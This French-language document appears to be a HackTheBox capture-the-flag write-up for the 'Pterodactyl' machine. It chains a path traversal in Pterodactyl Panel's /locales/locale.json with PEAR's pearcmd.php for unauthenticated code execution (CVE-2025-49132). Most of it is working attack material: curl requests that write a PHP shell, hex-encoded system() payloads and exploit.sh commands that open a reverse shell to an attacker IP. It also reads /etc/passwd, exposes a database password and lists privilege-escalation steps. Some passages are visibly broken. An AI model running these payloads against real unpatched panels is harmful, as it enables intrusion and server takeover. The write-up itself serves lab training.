
Exploit pour CVE-2025-49132 ciblant le panneau Pterodactyl, combinant un contournement de chemin (path traversal) avec une injection de commande PEAR pour une exécution de code à distance non authentifiée. Inclut des scripts bash et Python pour l'exécution de commandes, les shells inversés et des conseils d'élévation de privilèges.
HTB Saison 10 - Writeup de la Machine Pterodactyl
Cible: Machine HTB Pterodactyl (Difficulté Moyenne)
CVE: CVE-2025-49132
Sévérité: Critique (CVSS 9.8)
Type d'attaque: Exécution de code à distance non authentifiée
Affecté: Panneau Pterodactyl < v1.11.11
Cette chaîne d'exploitation combine :
Le point de terminaison /locales/locale.json du panneau Pterodactyl permet une traversée de chemin via le paramètre locale :
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
Cela peut être enchaîné avec pearcmd.php de PEAR pour :
/tmpPEAR (PHP Extension and Application Repository) possède un outil en ligne de commande (pearcmd.php) qui :
config-create qui écrit des fichiersLa Chaîne d'Exploitation :
Traversée de chemin → Charger pearcmd.php → Injecter PHP via config-create → Exécuter le PHP malveillant
Les commandes sont encodées en hexadécimal avec hex2bin() pour contourner :
Exemple :
Commande : whoami
Hex : 77686f616d69
Payload : <?=system(hex2bin('77686f616d69'))?>
Méthode 1 : Utilisation de exploit.sh fourni
chmod +x exploit.sh
# Obtenir le flag utilisateur
./exploit.sh flag
# Exécuter des commandes
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Shell inversé
nc -lvnp 4444 # Sur la machine attaquante
./exploit.sh shell 10.10.14.21 4444
Méthode 2 : Exploitation manuelle
# Étape 1 : Écrire un shell PHP ("whoami" encodé en hex)
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"
# Étape 2 : Exécuter
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"
Méthode 3 : Script Python
J'ai ajouté exploit.py
**Installer requests**
Exploit bash complet
./exploit.sh cmd "whoami" # Exécuter une commande unique
./exploit.sh shell 10.10.14.21 4444 # Shell inversé
./exploit.sh flag # Trouver le flag utilisateur
Fonctionnalités :
Documentation technique complète
Contient :
# 1. Ajouter à /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts
# 2. Télécharger l'exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh
# 3. Obtenir un shell
nc -lvnp 4444 # Terminal 1
./exploit.sh shell 10.10.14.21 4444 # Terminal 2
# 4. Obtenir le flag utilisateur
cat /home/phileasfogg3/user.txt
# Vérifier les services en cours d'exécution
ss -tlnp
# Résultat :
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25 - Postfix
# Vérifier sudo
sudo -l
# (Nécessite probablement un mot de passe)
# Binaires SUID
find / -perm -4000 2>/dev/null
# Tâches cron
cat /etc/crontab
ls -la /etc/cron.*
mysql -u pterodactyl -pPteraPanel
# Vérifier l'injection UDF, les permissions d'écriture de fichier
# Vérifier l'exploitation de FPM (CVE-2019-11043 ou abus de configuration)
# Vérifier le contournement d'authentification, RCE via cron
redis-cli -h 127.0.0.1
find /etc/cron* -writable 2>/dev/null
uname -a
# Vérifier DirtyCow, etc.